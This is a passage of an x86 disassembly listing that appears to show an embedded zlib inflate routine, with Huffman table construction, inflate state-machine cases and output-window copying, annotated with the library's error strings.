loc_49E2E6:				; CODE XREF: sub_49E043+43j
					; DATA XREF: _4:off_49E36Eo
		mov	eax, [esi+4]	; jumptable 0049E086 case 4
		test	eax, eax
		jz	short loc_49E27F
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		shl	ecx, 8
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 5

loc_49E310:				; CODE XREF: sub_49E043+43j
					; DATA XREF: _4:off_49E36Eo
		mov	eax, [esi+4]	; jumptable 0049E086 case 5
		test	eax, eax
		jz	loc_49E27F
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		push	2
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	ecx, [eax+8]
		mov	[esi+30h], ecx
		mov	dword ptr [eax], 6
		jmp	short loc_49E357
; ---------------------------------------------------------------------------

loc_49E342:				; CODE XREF: sub_49E043+43j
					; DATA XREF: _4:off_49E36Eo
		mov	eax, [esi+1Ch]	; jumptable 0049E086 case 6
		mov	[eax], edi
		mov	eax, [esi+1Ch]
		mov	dword ptr [esi+18h], offset aNeedDictionary ; "need dictionary"
		and	dword ptr [eax+4], 0

loc_49E355:				; CODE XREF: sub_49E043+Dj
					; sub_49E043+16j ...
		push	0FFFFFFFEh	; default

loc_49E357:				; CODE XREF: sub_49E043+2FDj
					; sub_49E043+325j ...
		pop	eax

loc_49E358:				; CODE XREF: sub_49E043+23Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_49E35D:				; CODE XREF: sub_49E043+228j
		mov	eax, [esi+1Ch]
		mov	dword ptr [eax], 0Ch

loc_49E366:				; CODE XREF: sub_49E043+43j
					; DATA XREF: _4:off_49E36Eo
		push	1		; jumptable 0049E086 case 12
		jmp	short loc_49E357
; ---------------------------------------------------------------------------

loc_49E36A:				; CODE XREF: sub_49E043+43j
					; DATA XREF: _4:off_49E36Eo
		push	0FFFFFFFDh	; jumptable 0049E086 case 13
		jmp	short loc_49E357
sub_49E043	endp

; ---------------------------------------------------------------------------
off_49E36E	dd offset loc_49E08D	; DATA XREF: sub_49E043+43r
		dd offset loc_49E0EE	; jump table for switch	statement
		dd offset loc_49E292
		dd offset loc_49E2BC
		dd offset loc_49E2E6
		dd offset loc_49E310
		dd offset loc_49E342
		dd offset loc_49E159
		dd offset loc_49E1BE
		dd offset loc_49E1EC
		dd offset loc_49E21A
		dd offset loc_49E244
		dd offset loc_49E366
		dd offset loc_49E36A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E3A6	proc near		; CODE XREF: sub_49CC4B+3C5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_10]
		push	4
		push	13h
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[ebp+arg_10], eax
		test	eax, eax
		jnz	short loc_49E3CB
		push	0FFFFFFFCh
		pop	eax
		jmp	short loc_49E422
; ---------------------------------------------------------------------------

loc_49E3CB:				; CODE XREF: sub_49E3A6+1Ej
		push	ebx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	0
		push	0
		push	13h
		push	13h
		push	[ebp+arg_0]
		call	sub_49E425
		mov	ebx, eax
		add	esp, 28h
		cmp	ebx, 0FFFFFFFDh
		jnz	short loc_49E3FD
		mov	dword ptr [esi+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"...
		jmp	short loc_49E414
; ---------------------------------------------------------------------------

loc_49E3FD:				; CODE XREF: sub_49E3A6+4Cj
		cmp	ebx, 0FFFFFFFBh
		jz	short loc_49E40A
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_49E414

loc_49E40A:				; CODE XREF: sub_49E3A6+5Aj
		push	0FFFFFFFDh
		mov	dword ptr [esi+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree"
		pop	ebx

loc_49E414:				; CODE XREF: sub_49E3A6+55j
					; sub_49E3A6+62j
		push	[ebp+arg_10]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		mov	eax, ebx
		pop	ecx
		pop	ebx

loc_49E422:				; CODE XREF: sub_49E3A6+23j
		pop	esi
		leave
		retn
sub_49E3A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E425	proc near		; CODE XREF: sub_49E3A6+3Fp
					; sub_49E7AC+52p ...

var_F0		= dword	ptr -0F0h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0F0h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		mov	[ebp+var_74], edx
		mov	[ebp+var_70], edx
		mov	[ebp+var_6C], edx
		mov	[ebp+var_68], edx
		mov	[ebp+var_64], edx
		mov	[ebp+var_60], edx
		mov	[ebp+var_5C], edx
		mov	[ebp+var_58], edx
		mov	[ebp+var_54], edx
		mov	[ebp+var_50], edx
		mov	[ebp+var_4C], edx
		mov	[ebp+var_48], edx
		mov	[ebp+var_44], edx
		mov	[ebp+var_40], edx
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], edx
		mov	esi, edi

loc_49E46B:				; CODE XREF: sub_49E425+54j
		mov	eax, [ecx]
		add	ecx, 4
		inc	[ebp+eax*4+var_74]
		lea	eax, [ebp+eax*4+var_74]
		dec	esi
		jnz	short loc_49E46B
		cmp	[ebp+var_74], edi
		jnz	short loc_49E491
		mov	eax, [ebp+arg_14]
		mov	[eax], edx
		mov	eax, [ebp+arg_18]
		mov	[eax], edx

loc_49E48A:				; CODE XREF: sub_49E425+36Fj
					; sub_49E425+379j
		xor	eax, eax

loc_49E48C:				; CODE XREF: sub_49E425+382j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_49E491:				; CODE XREF: sub_49E425+59j
		mov	edi, [ebp+arg_18]
		push	1
		pop	ebx
		lea	eax, [ebp+var_70]
		mov	esi, [edi]
		mov	ecx, ebx
		mov	[ebp+arg_18], esi

loc_49E4A1:				; CODE XREF: sub_49E425+87j
		cmp	[eax], edx
		jnz	short loc_49E4AE
		inc	ecx
		add	eax, 4
		cmp	ecx, 0Fh
		jbe	short loc_49E4A1

loc_49E4AE:				; CODE XREF: sub_49E425+7Ej
		cmp	esi, ecx
		mov	[ebp+var_4], ecx
		jnb	short loc_49E4B8
		mov	[ebp+arg_18], ecx

loc_49E4B8:				; CODE XREF: sub_49E425+8Ej
		push	0Fh
		lea	esi, [ebp+var_38]
		pop	eax

loc_49E4BE:				; CODE XREF: sub_49E425+A3j
		cmp	[esi], edx
		jnz	short loc_49E4CA
		dec	eax
		sub	esi, 4
		cmp	eax, edx
		jnz	short loc_49E4BE

loc_49E4CA:				; CODE XREF: sub_49E425+9Bj
		cmp	[ebp+arg_18], eax
		mov	[ebp+var_18], eax
		jbe	short loc_49E4D5
		mov	[ebp+arg_18], eax

loc_49E4D5:				; CODE XREF: sub_49E425+ABj
		mov	esi, [ebp+arg_18]
		shl	ebx, cl
		cmp	ecx, eax
		mov	[edi], esi
		jnb	short loc_49E4F6
		lea	esi, [ebp+ecx*4+var_74]

loc_49E4E4:				; CODE XREF: sub_49E425+CFj
		sub	ebx, [esi]
		js	loc_49E61C
		inc	ecx
		add	esi, 4
		shl	ebx, 1
		cmp	ecx, eax
		jb	short loc_49E4E4

loc_49E4F6:				; CODE XREF: sub_49E425+B9j
		mov	esi, eax
		shl	esi, 2
		mov	edi, [ebp+esi+var_74]
		lea	ecx, [ebp+esi+var_74]
		sub	ebx, edi
		mov	[ebp+var_30], ebx
		js	loc_49E61C
		add	edi, ebx
		mov	[ebp+var_B0], edx
		mov	[ecx], edi
		xor	ecx, ecx
		dec	eax
		jz	short loc_49E530
		xor	edi, edi

loc_49E51F:				; CODE XREF: sub_49E425+109j
		add	ecx, [ebp+edi+var_70]
		add	edi, 4
		dec	eax
		mov	[ebp+edi+var_B0], ecx
		jnz	short loc_49E51F

loc_49E530:				; CODE XREF: sub_49E425+F6j
		mov	ebx, [ebp+arg_0]
		xor	edi, edi

loc_49E535:				; CODE XREF: sub_49E425+136j
		mov	eax, [ebx]
		add	ebx, 4
		cmp	eax, edx
		jz	short loc_49E557
		mov	ecx, [ebp+eax*4+var_B4]
		mov	edx, [ebp+arg_24]
		lea	eax, [ebp+eax*4+var_B4]
		mov	[edx+ecx*4], edi
		inc	ecx
		mov	[eax], ecx
		xor	edx, edx

loc_49E557:				; CODE XREF: sub_49E425+117j
		inc	edi
		cmp	edi, [ebp+arg_4]
		jb	short loc_49E535
		mov	eax, [ebp+esi+var_B4]
		mov	ebx, [ebp+arg_18]
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_24]
		mov	[ebp+var_C], edx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		neg	ebx
		cmp	eax, [ebp+var_18]
		mov	[ebp+var_B4], edx
		mov	[ebp+var_F0], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+arg_0], edx
		jg	loc_49E791
		mov	edi, [ebp+var_24]
		lea	ecx, [eax-1]
		lea	eax, [ebp+eax*4+var_74]
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_20], eax

loc_49E5A7:				; CODE XREF: sub_49E425+366j
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	ecx, eax
		dec	eax
		test	ecx, ecx
		mov	[ebp+var_14], eax
		jz	loc_49E77B

loc_49E5BA:				; CODE XREF: sub_49E425+350j
		mov	eax, [ebp+arg_18]
		add	eax, ebx
		cmp	[ebp+var_4], eax
		jle	loc_49E6A6

loc_49E5C8:				; CODE XREF: sub_49E425+279j
		mov	ecx, [ebp+arg_18]
		inc	[ebp+var_8]
		add	eax, ecx
		add	ebx, ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_18]
		sub	eax, ebx
		cmp	eax, ecx
		mov	[ebp+arg_0], eax
		jbe	short loc_49E5E4
		mov	[ebp+arg_0], ecx

loc_49E5E4:				; CODE XREF: sub_49E425+1BAj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_14]
		push	1
		sub	ecx, ebx
		pop	eax
		shl	eax, cl
		inc	edx
		cmp	eax, edx
		jbe	short loc_49E623
		mov	esi, [ebp+var_20]
		or	edx, 0FFFFFFFFh
		sub	edx, [ebp+var_14]
		add	eax, edx
		cmp	ecx, [ebp+arg_0]
		jnb	short loc_49E623

loc_49E606:				; CODE XREF: sub_49E425+1F5j
		inc	ecx
		cmp	ecx, [ebp+arg_0]
		jnb	short loc_49E623
		mov	edx, [esi+4]
		add	esi, 4
		shl	eax, 1
		cmp	eax, edx
		jbe	short loc_49E623
		sub	eax, edx
		jmp	short loc_49E606
; ---------------------------------------------------------------------------

loc_49E61C:				; CODE XREF: sub_49E425+C1j
					; sub_49E425+E3j ...
		push	0FFFFFFFDh
		jmp	loc_49E7A6
; ---------------------------------------------------------------------------

loc_49E623:				; CODE XREF: sub_49E425+1CFj
					; sub_49E425+1DFj ...
		mov	eax, [ebp+arg_20]
		push	1
		pop	edx
		mov	eax, [eax]
		shl	edx, cl
		mov	[ebp+arg_0], edx
		lea	esi, [eax+edx]
		cmp	esi, 5A0h
		ja	short loc_49E61C
		mov	edx, [ebp+arg_1C]
		lea	eax, [edx+eax*8]
		mov	edx, [ebp+var_8]
		mov	[ebp+var_1C], eax
		lea	edx, [ebp+edx*4+var_F0]
		mov	[edx], eax
		mov	eax, [ebp+arg_20]
		mov	[eax], esi
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_49E690
		mov	esi, [ebp+var_C]
		mov	edi, [ebp+var_1C]
		mov	[ebp+eax*4+var_B4], esi
		mov	eax, [ebp+arg_18]
		mov	byte ptr [ebp+var_28], cl
		mov	ecx, ebx
		mov	byte ptr [ebp+var_28+1], al
		sub	ecx, eax
		mov	eax, esi
		shr	eax, cl
		mov	ecx, [edx-4]
		mov	edx, [ebp+var_28]
		sub	edi, ecx
		sar	edi, 3
		sub	edi, eax
		mov	[ecx+eax*8], edx
		mov	[ecx+eax*8+4], edi
		jmp	short loc_49E698
; ---------------------------------------------------------------------------

loc_49E690:				; CODE XREF: sub_49E425+235j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx

loc_49E698:				; CODE XREF: sub_49E425+269j
		mov	eax, [ebp+var_34]
		cmp	[ebp+var_4], eax
		jg	loc_49E5C8
		xor	edx, edx

loc_49E6A6:				; CODE XREF: sub_49E425+19Dj
		mov	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sub	al, bl
		mov	byte ptr [ebp+var_28+1], al
		mov	eax, [ebp+arg_24]
		lea	ecx, [eax+ecx*4]
		mov	eax, [ebp+var_10]
		cmp	eax, ecx
		jb	short loc_49E6C4
		mov	byte ptr [ebp+var_28], 0C0h
		jmp	short loc_49E6FB
; ---------------------------------------------------------------------------

loc_49E6C4:				; CODE XREF: sub_49E425+297j
		mov	eax, [eax]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_49E6DF
		cmp	eax, 100h
		mov	edi, eax
		sbb	cl, cl
		and	cl, 0A0h
		add	cl, 60h
		mov	byte ptr [ebp+var_28], cl
		jmp	short loc_49E6F7
; ---------------------------------------------------------------------------

loc_49E6DF:				; CODE XREF: sub_49E425+2A4j
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_10]
		shl	eax, 2
		mov	cl, [eax+ecx]
		add	cl, 50h
		mov	byte ptr [ebp+var_28], cl
		mov	ecx, [ebp+arg_C]
		mov	edi, [eax+ecx]

loc_49E6F7:				; CODE XREF: sub_49E425+2B8j
		add	[ebp+var_10], 4

loc_49E6FB:				; CODE XREF: sub_49E425+29Dj
		mov	ecx, [ebp+var_4]
		mov	eax, [ebp+var_C]
		push	1
		sub	ecx, ebx
		pop	esi
		shl	esi, cl
		mov	ecx, ebx
		shr	eax, cl
		cmp	eax, [ebp+arg_0]
		jnb	short loc_49E72F
		mov	ecx, [ebp+var_1C]
		lea	ecx, [ecx+eax*8]

loc_49E717:				; CODE XREF: sub_49E425+306j
		mov	edx, [ebp+var_28]
		add	eax, esi
		mov	[ecx], edx
		mov	edx, esi
		shl	edx, 3
		mov	[ecx+4], edi
		add	ecx, edx
		cmp	eax, [ebp+arg_0]
		jb	short loc_49E717
		xor	edx, edx

loc_49E72F:				; CODE XREF: sub_49E425+2EAj
		mov	ecx, [ebp+var_2C]
		push	1
		pop	eax
		shl	eax, cl
		mov	ecx, [ebp+var_C]

loc_49E73A:				; CODE XREF: sub_49E425+31Dj
		test	eax, ecx
		jz	short loc_49E744
		xor	ecx, eax
		shr	eax, 1
		jmp	short loc_49E73A
; ---------------------------------------------------------------------------

loc_49E744:				; CODE XREF: sub_49E425+317j
		xor	ecx, eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], ecx
		lea	eax, [ebp+eax*4+var_B4]

loc_49E753:				; CODE XREF: sub_49E425+346j
		push	1
		mov	ecx, ebx
		pop	esi
		shl	esi, cl
		dec	esi
		and	esi, [ebp+var_C]
		cmp	esi, [eax]
		jz	short loc_49E76D
		dec	[ebp+var_8]
		sub	eax, 4
		sub	ebx, [ebp+arg_18]
		jmp	short loc_49E753
; ---------------------------------------------------------------------------

loc_49E76D:				; CODE XREF: sub_49E425+33Bj
		mov	eax, [ebp+var_14]
		dec	[ebp+var_14]
		test	eax, eax
		jnz	loc_49E5BA

loc_49E77B:				; CODE XREF: sub_49E425+18Fj
		inc	[ebp+var_4]
		add	[ebp+var_20], 4
		mov	eax, [ebp+var_4]
		inc	[ebp+var_2C]
		cmp	eax, [ebp+var_18]
		jle	loc_49E5A7

loc_49E791:				; CODE XREF: sub_49E425+16Cj
		cmp	[ebp+var_30], edx
		jz	loc_49E48A
		cmp	[ebp+var_18], 1
		jz	loc_49E48A
		push	0FFFFFFFBh

loc_49E7A6:				; CODE XREF: sub_49E425+1F9j
		pop	eax
		jmp	loc_49E48C
sub_49E425	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E7AC	proc near		; CODE XREF: sub_49CC4B+56Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_20]
		push	4
		push	120h
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[ebp+arg_20], eax
		test	eax, eax
		jnz	short loc_49E7D7
		push	0FFFFFFFCh
		pop	eax
		jmp	loc_49E8AC
; ---------------------------------------------------------------------------

loc_49E7D7:				; CODE XREF: sub_49E7AC+21j
		push	ebx
		push	edi
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	ebx, [ebp+arg_0]
		push	[ebp+arg_1C]
		mov	edi, 101h
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	offset dword_49F12C
		push	offset dword_49F0B0
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_49E425
		add	esp, 28h
		test	eax, eax
		jnz	short loc_49E87E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 0
		jz	short loc_49E891
		push	[ebp+arg_20]
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_8]
		push	[ebp+arg_1C]
		lea	eax, [eax+ebx*4]
		push	[ebp+arg_10]
		push	[ebp+arg_18]
		push	offset dword_49F220
		push	offset dword_49F1A8
		push	0
		push	[ebp+arg_4]
		push	eax
		call	sub_49E425
		add	esp, 28h
		test	eax, eax
		jnz	short loc_49E854
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 0
		jnz	short loc_49E850
		cmp	ebx, edi
		ja	short loc_49E875

loc_49E850:				; CODE XREF: sub_49E7AC+9Ej
		xor	edi, edi
		jmp	short loc_49E89D
; ---------------------------------------------------------------------------

loc_49E854:				; CODE XREF: sub_49E7AC+96j
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_49E862
		mov	dword ptr [esi+18h], offset aOversubscrib_0 ; "oversubscribed distance tree"
		jmp	short loc_49E89B
; ---------------------------------------------------------------------------

loc_49E862:				; CODE XREF: sub_49E7AC+ABj
		cmp	eax, 0FFFFFFFBh
		jnz	short loc_49E870
		mov	dword ptr [esi+18h], offset aIncompleteDist ; "incomplete distance tree"
		jmp	short loc_49E898
; ---------------------------------------------------------------------------

loc_49E870:				; CODE XREF: sub_49E7AC+B9j
		cmp	eax, 0FFFFFFFCh
		jz	short loc_49E89B

loc_49E875:				; CODE XREF: sub_49E7AC+A2j
		mov	dword ptr [esi+18h], offset aEmptyDistanceT ; "empty distance tree with	lengths"
		jmp	short loc_49E898
; ---------------------------------------------------------------------------

loc_49E87E:				; CODE XREF: sub_49E7AC+5Cj
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_49E88C
		mov	dword ptr [esi+18h], offset aOversubscrib_1 ; "oversubscribed literal/length tree"
		jmp	short loc_49E89B
; ---------------------------------------------------------------------------

loc_49E88C:				; CODE XREF: sub_49E7AC+D5j
		cmp	eax, 0FFFFFFFCh
		jz	short loc_49E89B

loc_49E891:				; CODE XREF: sub_49E7AC+64j
		mov	dword ptr [esi+18h], offset aIncompleteLite ; "incomplete literal/length tree"

loc_49E898:				; CODE XREF: sub_49E7AC+C2j
					; sub_49E7AC+D0j
		push	0FFFFFFFDh
		pop	eax

loc_49E89B:				; CODE XREF: sub_49E7AC+B4j
					; sub_49E7AC+C7j ...
		mov	edi, eax

loc_49E89D:				; CODE XREF: sub_49E7AC+A6j
		push	[ebp+arg_20]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		mov	eax, edi
		pop	ecx
		pop	edi
		pop	ebx

loc_49E8AC:				; CODE XREF: sub_49E7AC+26j
		pop	esi
		leave
		retn
sub_49E7AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E8AF	proc near		; CODE XREF: sub_49CC4B+D6p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, ds:dword_4A0120
		mov	[eax], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, ds:dword_4A0124
		mov	[eax], ecx
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], offset	dword_4A0128
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], offset	dword_4A1128
		xor	eax, eax
		pop	ebp
		retn
sub_49E8AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E8DE	proc near		; CODE XREF: sub_49CC4B+1F0p
					; sub_49CC4B+846p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_4]
		mov	edx, [ebx+30h]
		push	edi
		mov	edi, [ebx+34h]
		mov	eax, [esi+0Ch]
		cmp	edx, edi
		mov	[ebp+var_8], eax
		mov	[ebp+arg_0], edx
		jbe	short loc_49E902
		mov	edi, [ebx+2Ch]

loc_49E902:				; CODE XREF: sub_49E8DE+1Fj
		mov	eax, [esi+10h]
		sub	edi, edx
		cmp	edi, eax
		mov	[ebp+var_4], edi
		jbe	short loc_49E913
		mov	[ebp+var_4], eax
		mov	edi, eax

loc_49E913:				; CODE XREF: sub_49E8DE+2Ej
		test	edi, edi
		jz	short loc_49E921
		cmp	[ebp+arg_8], 0FFFFFFFBh
		jnz	short loc_49E921
		and	[ebp+arg_8], 0

loc_49E921:				; CODE XREF: sub_49E8DE+37j
					; sub_49E8DE+3Dj
		add	[esi+14h], edi
		sub	eax, edi
		mov	[esi+10h], eax
		mov	eax, [ebx+38h]
		test	eax, eax
		jz	short loc_49E943
		push	edi
		push	edx
		push	dword ptr [ebx+3Ch]
		call	eax
		mov	edx, [ebp+arg_0]
		mov	[ebx+3Ch], eax
		add	esp, 0Ch
		mov	[esi+30h], eax

loc_49E943:				; CODE XREF: sub_49E8DE+50j
		mov	ecx, edi
		mov	edi, [ebp+var_8]
		mov	eax, ecx
		mov	esi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		add	[ebp+var_8], eax
		add	[ebp+arg_0], eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+2Ch]
		cmp	[ebp+arg_0], eax
		jnz	short loc_49E9DC
		mov	edx, [ebx+28h]
		cmp	[ebx+34h], eax
		mov	[ebp+arg_0], edx
		jnz	short loc_49E977
		mov	[ebx+34h], edx

loc_49E977:				; CODE XREF: sub_49E8DE+94j
		mov	esi, [ebp+arg_4]
		mov	edi, [ebx+34h]
		sub	edi, edx
		mov	eax, [esi+10h]
		mov	[ebp+var_4], edi
		cmp	edi, eax
		jbe	short loc_49E98E
		mov	[ebp+var_4], eax
		mov	edi, eax

loc_49E98E:				; CODE XREF: sub_49E8DE+A9j
		test	edi, edi
		jz	short loc_49E99C
		cmp	[ebp+arg_8], 0FFFFFFFBh
		jnz	short loc_49E99C
		and	[ebp+arg_8], 0

loc_49E99C:				; CODE XREF: sub_49E8DE+B2j
					; sub_49E8DE+B8j
		add	[esi+14h], edi
		sub	eax, edi
		mov	[esi+10h], eax
		mov	eax, [ebx+38h]
		test	eax, eax
		jz	short loc_49E9BE
		push	edi
		push	edx
		push	dword ptr [ebx+3Ch]
		call	eax
		mov	edx, [ebp+arg_0]
		mov	[ebx+3Ch], eax
		add	esp, 0Ch
		mov	[esi+30h], eax

loc_49E9BE:				; CODE XREF: sub_49E8DE+CBj
		mov	ecx, edi
		mov	edi, [ebp+var_8]
		mov	eax, ecx
		mov	esi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		add	[ebp+var_8], eax
		and	ecx, 3
		add	[ebp+arg_0], eax
		rep movsb

loc_49E9DC:				; CODE XREF: sub_49E8DE+89j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	[ebx+30h], eax
		mov	eax, [ebp+arg_8]
		pop	ebx
		leave
		retn
sub_49E8DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E9F3	proc near		; CODE XREF: sub_491C5C+32Cp

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	eax, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+arg_C]
		and	[ebp+var_18], 0
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_0]
		and	[ebp+var_14], 0
		mov	[ebp+var_2C], eax
		mov	eax, [esi]
		push	edi
		mov	[ebp+var_28], eax
		push	38h
		lea	eax, [ebp+var_38]
		push	offset byte_4A00A8
		push	eax
		call	sub_49E02B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_49EA6E
		lea	eax, [ebp+var_38]
		push	4
		push	eax
		call	sub_49E043
		mov	edi, eax
		pop	ecx
		cmp	edi, 1
		pop	ecx
		jz	short loc_49EA5F
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_49DF00
		test	edi, edi
		pop	ecx
		jnz	short loc_49EA5B
		push	0FFFFFFFBh
		pop	eax
		jmp	short loc_49EA6E
; ---------------------------------------------------------------------------

loc_49EA5B:				; CODE XREF: sub_49E9F3+61j
		mov	eax, edi
		jmp	short loc_49EA6E
; ---------------------------------------------------------------------------

loc_49EA5F:				; CODE XREF: sub_49E9F3+53j
		mov	eax, [ebp+var_24]
		mov	[esi], eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_49DF00
		pop	ecx

loc_49EA6E:				; CODE XREF: sub_49E9F3+3Fj
					; sub_49E9F3+66j ...
		pop	edi
		pop	esi
		leave
		retn
sub_49E9F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49EA72	proc near		; DATA XREF: sub_49DF41+41o

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		imul	eax, [ebp+arg_8]
		push	eax
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_49EA72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49EA8C	proc near		; DATA XREF: sub_49DF41+50o

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		call	sub_4993DD
		pop	ecx
		leave
		retn
sub_49EA8C	endp

; ---------------------------------------------------------------------------
		align 10h

